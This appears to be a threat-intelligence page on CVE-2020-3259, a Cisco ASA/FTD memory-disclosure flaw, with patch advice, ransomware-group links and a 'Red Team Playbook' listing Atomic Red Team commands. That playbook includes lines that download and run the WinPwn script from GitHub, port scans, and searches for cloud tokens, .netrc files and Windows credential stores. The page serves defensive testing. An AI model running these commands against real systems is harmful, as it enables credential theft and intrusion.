CVE-2020-3259
Overview
This vulnerability is an information disclosure flaw rooted in a buffer tracking issue within the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software. Specifically, the flaw occurs during the parsing of invalid URLs requested from the web services interface, affecting certain AnyConnect and WebVPN configurations. Improper handling of buffer states leads to unintended memory content exposure.
Vulnerability Description
A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to retrieve memory contents on an affected device, which could lead to the disclosure of confidential information. The vulnerability is due to a buffer tracking issue when the software parses invalid URLs that are requested from the web services interface. An attacker could exploit this vulnerability by sending a crafted GET request to the web services interface. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information. Note: This vulnerability affects only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section.
Impact
An unauthenticated remote attacker can exploit this vulnerability to retrieve arbitrary memory contents from the affected device, potentially exposing sensitive and confidential information stored in memory. No authentication or user interaction is required to carry out the attack. The disclosed information could include cryptographic keys, credentials, or configuration data, leading to data breaches and undermining network security controls.
Solution
Cisco has released security updates addressing this vulnerability in Cisco Adaptive Security Appliance Software and Cisco Firepower Threat Defense Software. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-asaftd-info-disclose-9eJtycMB. The advisory provides specific version updates and mitigation instructions. Applying the recommended software versions and configurations will remediate the buffer tracking issue in the web services interface.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Confirmed Groups
| Group | Victims | Source |
|---|---|---|
|
akira
|
1529 | ransomware.live |
|
akira
|
1529 | correlation_actor |
Correlated Groups
Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.
| Group | Confidence | Victims | Source |
|---|---|---|---|
|
akira
|
LOW | 1529 | Chain Inference |
|
sinobi
|
LOW | 274 | Chain Inference |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A significant vulnerability exists within the web services interface of Cisco's Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software. This flaw arises from a buffer tracking issue that occurs when the software processes invalid URLs. Specifically, the vulnerability allows an unauthenticated remote attacker to send a crafted GET request to the web services interface, potentially leading to the retrieval of sensitive memory contents from the affected device. The implications of this vulnerability are severe, as it could facilitate the unauthorized disclosure of confidential information stored in the device's memory.
The primary attack vector involves sending specially crafted requests to the web services interface, which is designed to handle various network services. By exploiting the buffer tracking issue, an attacker can manipulate the request to extract memory contents that may include sensitive data such as authentication tokens, user credentials, or other confidential information. This exploitation can occur without any authentication, making it particularly dangerous, as it lowers the barrier for attackers to gain access to sensitive data. Attackers could leverage this vulnerability in targeted attacks against organizations that rely on Cisco's security appliances, especially those with specific AnyConnect and WebVPN configurations.
In terms of real-world impact, the potential business risks associated with this vulnerability are considerable. Organizations utilizing affected Cisco products may face significant data breaches, leading to the exposure of sensitive information. Such breaches could result in regulatory penalties, loss of customer trust, and reputational damage. Furthermore, the financial implications of a successful exploit could be substantial, encompassing costs related to incident response, remediation efforts, and potential legal liabilities. The vulnerability's ability to facilitate unauthorized access to confidential information makes it a prime target for malicious actors, increasing the urgency for organizations to address the issue.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular monitoring of network traffic to the web services interface can help identify unusual patterns or unauthorized access attempts. Employing intrusion detection systems (IDS) can further enhance visibility into potential exploitation attempts. Additionally, organizations should ensure that they are running the latest versions of Cisco ASA and FTD software, as updates often contain critical security patches that address known vulnerabilities. Implementing strict access controls and limiting exposure of the web services interface to trusted networks can also reduce the risk of exploitation.
In conclusion, the vulnerability within Cisco's ASA and FTD software presents a significant threat to organizations that utilize these products. The potential for unauthorized access to sensitive information through crafted requests poses a serious risk to data confidentiality and overall business integrity. By adopting proactive detection and mitigation strategies, organizations can better safeguard their networks against exploitation and minimize the impact of such vulnerabilities on their operations.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2020-3259, with telemetry indicating a doubling in detection frequency over recent monitoring periods. This increase, while still emerging, signals heightened adversary interest and potential preparatory actions for exploitation attempts. Notably, the vulnerability remains a known vector within ransomware campaigns attributed to the Akira group, underscoring its continued operational relevance. Although no new exploit techniques or proof-of-concept code have surfaced, the persistence and amplification of detection events suggest that threat actors may be refining their tactics or expanding targeting scope. Consequently, the risk posture associated with this vulnerability has intensified from a latent concern to a more immediate threat, warranting elevated vigilance. Defenders should interpret this trend as an indicator of increased likelihood of exploitation attempts, particularly in environments where Cisco ASA and FTD devices are exposed to untrusted networks.
Update 2 — July 03, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-3259, indicating that threat actors are increasingly probing Cisco ASA and Firepower Threat Defense devices for this vulnerability. While no new exploit techniques or proof-of-concept code have been observed, the sustained rise in telemetry suggests adversaries—particularly ransomware groups such as Akira and Sinobi—are intensifying reconnaissance or preliminary exploitation efforts. This amplification underscores a shift from opportunistic scanning to more targeted operations, elevating the immediacy of the threat. Consequently, the risk level associated with this vulnerability has increased, reflecting a higher probability of exploitation attempts in operational environments where affected devices are accessible from untrusted networks. Defenders should regard this trend as a critical indicator of evolving attacker interest and potential prelude to more sophisticated exploitation campaigns.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Ransomware Groups 4
Threat Feed
12 eventsSighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-3259 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-info-disclose-9eJtycMB |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3259 |